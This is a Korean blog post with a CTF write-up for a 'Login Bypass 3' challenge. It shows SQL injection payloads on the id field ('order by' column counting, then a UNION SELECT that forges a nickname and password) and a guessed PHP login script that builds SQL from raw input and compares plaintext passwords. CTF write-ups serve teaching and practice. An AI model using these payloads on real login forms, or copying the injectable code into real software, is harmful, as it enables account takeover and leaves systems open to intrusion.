Almon Dev

ctf 풀이 (Login Bypass 3) 본문

웹 해킹/웹 해킹(ctf)

ctf 풀이 (Login Bypass 3)

Almon 2024. 11. 16. 14:05

ctf 문제풀이

 

Login Bypass 3

 

풀이

1> doldol / dol1234로 로그인해봅니다.

 

2> 리피터를 통해서 sql injection 확인해 보기

id는 sql injection이 가능하고, password는 불가능합니다.

 

3> sql injection을 통해 가져오는 컬럼 개수 확인해보기 (컬럼은 2개)

ex) UserId=doldol' order by 2 desc# 

 

4> 로그인 코드 예상해 보기

$sql = "select password,nickname from member where id='$input_id'";

if( $input_pass == $db_pass ) {
	// 로그인
}

 

5> normaltic3로 로그인해보기 (union 사용)

UserId=doldol'+union+select+'normaltic3',+'1234'+order+by+2+desc#&Password=1234&Submit=Login
union은 selct를 여러번 할때 결과를 합쳐서 하나의 테이블로 만들어줍니다.
=> 컬럼의 개수가 동일해야 합니다.

 

sql 예상

select nickname, password from member 
where id='doldol' 
union select 'normaltic3', '1234' order by 2 asc#'

예상 sql 결과

index 닉네임 비밀번호
0 normaltic3 1234
1 doldol dol1234

order by 2 asc로 비밀번호를 기준으로 오름차순 정렬을 해서 normaltic3 닉네임이 위로 오게 만들었습니다.

 

로그인 php 코드 예상

<?php
    
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];

$server_name = "localhost"; 
$username = "root";       
$password = "";           
$db_name = "test";      

$conn = new mysqli($server_name, $username, $password, $db_name);

$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];

if($input_pass == $db_pass) {
    // 로그인 성공
    echo $nickname;
}else {
    // 로그인 실패
    echo 'fail';
}

'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글

ctf 풀이 (SQL Injection 1)  (0) 2024.11.23
ctf 풀이 (Pin Code Crack)  (2) 2024.11.20
ctf 풀이 (admin is mine)  (1) 2024.11.19
ctf 풀이 (Secret Login)  (2) 2024.11.18
ctf 풀이 (Login Bypass 4)  (0) 2024.11.18